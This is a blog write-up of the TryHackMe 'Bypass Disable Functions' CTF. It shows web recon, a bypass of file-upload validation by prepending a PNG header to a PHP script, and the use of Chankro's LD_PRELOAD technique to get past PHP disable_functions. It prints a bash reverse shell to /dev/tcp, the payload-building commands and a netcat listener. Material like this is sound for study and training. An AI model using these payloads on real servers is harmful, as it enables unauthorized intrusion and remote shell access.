THM: Bypass Disable Functions

·

6 min read

Introduction

In the Bypass Disable Functions CTF we can learn how to execute command by leveraging the LD_PRELOAD env. And how to bypass file upload validation checking the file header. The CTF is available for free on TryHackMe and it's difficulty level is Info (as the actual solution is part of the description).

Procedure

I use Kali Linux run on a virtual machine and connect to the target machine over TryHackMe VPN. In the description I use RHOST to denote the IP address of the target machine, and LHOST to denote the IP address assigned to my machine within the VPN.

Reconnaissance

We start with inspecting open ports on the target machine using nmap.

sudo nmap -sC -sV -O -sS $RHOST
[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1f:97:54:30:24:74:f2:fa:15:ed:f3:35:84:dc:6c:d0 (RSA)
|   256 a7:21:78:6d:a6:05:7e:5a:0f:7e:53:65:0a:c4:53:49 (ECDSA)
|_  256 57:1c:22:ac:59:69:62:cb:94:bd:e9:9f:67:68:23:c9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Ecorp - Jobs
[...]

We find that there are two open ports:

  • 22 (ssh) handled by OpenSSH Server.
  • 80 (http) handled by Apache HTTP Server.

We skip further analysis of the service versions, and instead focus on the web application.

Let's start manual inspection of the website using Burp Suite proxy to track the requests history.

In the top menu bar we see the "Apply Job" button which leads us to a file upload page under the /cv.php. The page content informs us to use upload image file.

First, we upload an image file as suggested. For the purpose we can use a PNG pixel image generated with png-pixel.com - further referred as pixel.png. The file is uploaded successfully, the response has status 200 and the content contains string OK. Although, the image is not presented nowhere on the website. We can check whether the uploaded file is accessible for us. We start with a simple directory enumeration.

gobuster dir -r -u http://$RHOST -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.36.174
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/assets               (Status: 200) [Size: 1689]
/index.html           (Status: 200) [Size: 12012]
/phpinfo.php          (Status: 200) [Size: 68158]
/server-status        (Status: 403) [Size: 277]
/uploads              (Status: 200) [Size: 941]
Progress: 4723 / 4724 (99.98%)
===============================================================
Finished
===============================================================

We find couple of interesting things:

  • /assets directory,
  • /phpinfo.php page,
  • /uploads directory.

We inspect them manually, and find that:

  • /assets - a directory containing static resources for the website,
  • /phpinfo.php shows the PHP configuration,
  • /uploads - a directory containing our uploaded file.

Preparation

As we found the directory with uploaded files, we get back to the upload page an examine the validation conditions. At first we test whether there is any validation by trying to upload a simple PHP script (script.php).

<?php echo('pwned') ?>

We receive a response with 200 OK status code, however the content includes string "Upload a real image", and the scripts.php file is not present in the /uploads directory.

There are two common file type validation methods:

  • testing the extension in the file name,
  • testing the file header.

It give us following test cases

  • PNG file with .png extension (already done and succeed),
  • PHP file with .php extension (already done and failed),
  • PNG file with .php extension,
  • PHP file with .pngextension.

We find that,

  • PNG file with .php extension passes the validation and is put into /uploads directory, and if requested it prints the file content,
  • PHP file with .png extensions fails the validation.

We can conclude that validation tests file headers but not the file extension. We leverage this fact and build the payload by concatenating the PNG image with actual script.

cat pixel.png script.php > payload.php

When requested, the uploads/payload.php prints the content of the image followed by the "pwned" string. It means that PHP script is successfully executed.

We know how to upload and execute a PHP script, so we could try to upload a reverse shell script. However, as suggested in the challenge introduction, the PHP functions commonly used to execute system commands are disabled. We can confirm that, visit /phpinfo.php and find disable_functions directive.

Instead, we try the suggested solution - Chankro.

Quickly follow how the exploitation works.

The generated PHP script we are going to upload and execute:

  1. creates two files on the server: a shared object and actual malicious binary or script,
  2. sets the LD_PRELOAD environment variable to the path to shared object,
  3. calls mail() function which executes sendmail command in the system.

Now the "magic" happens:

  1. to execute the sendmail binary requires shared dependencies to be loaded,
  2. the LD_PRELOAD environment defines custom list of shared objects to be loaded,
  3. our shared object defines a constructor function which is called before the main program,
  4. and finally, the constructor function executes our malicious binary or script.

Exploitation

To generate the script we need to set following options,

  • target system architecture - we can assume it's 64-bit,
  • binary or script we want to execute - we use a bash reverse shell we can find on Reverse Shell Generator,
  • output filename - let it be exploit.php,
  • and path on the server where the files (shared object and script) will be created - the root directory we find in the /phpinfo.php output listed as Apache Environment variable DOCUMENT_ROOT, followed by /uploads so we can check that the file were actually created. In my case the path is /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads

In the revshell.sh script replace <LHOST> with your IP address within the VPN and <LPORT> with a port on which you will be listening.

#!/bin/bash
/bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1

We make sure current directory contains the reverse shell script (revshell.sh) and the PNG file (pixel.png), then run the following commands.

git clone https://github.com/TarlogicSecurity/Chankro.git
python2 Chankro/chankro.py --arch 64 --input revshell.sh --output exploit.php --path /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads
cat pixel.png exploit.php > payload.php

If everything run successfully you can examine the file generated by Chankro - exploit.php, and the final payload we will upload to the target - payload.php.

Before we continue we start listening for the reverse shell.

nc -lvnp <LPORT>

Once we upload and request the payload.php, we get the shell prompt in netcat.

www-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads$

Working on objectives

Now, we can explore the target's filesystem, or simply search for the flag and print it.

find / -type f -name flag.txt 2>/dev/null
/home/s4vi/flag.txt

cat /home/s4vi/flag.txt
thm{not_so_easy_try_it_yourself!}

Mission complete!

Final thoughts

Not surprising that the difficulty level of this challenge is Info as the solution is given. However, I decided to learn more about the LD_PRELOAD trick as I knew only that it allows custom shared objects to be loaded, but did not how to actually build such shared object and use it for exploitation. I found couple of interesting resources (list below) and probably I write a note about this topic in the near future.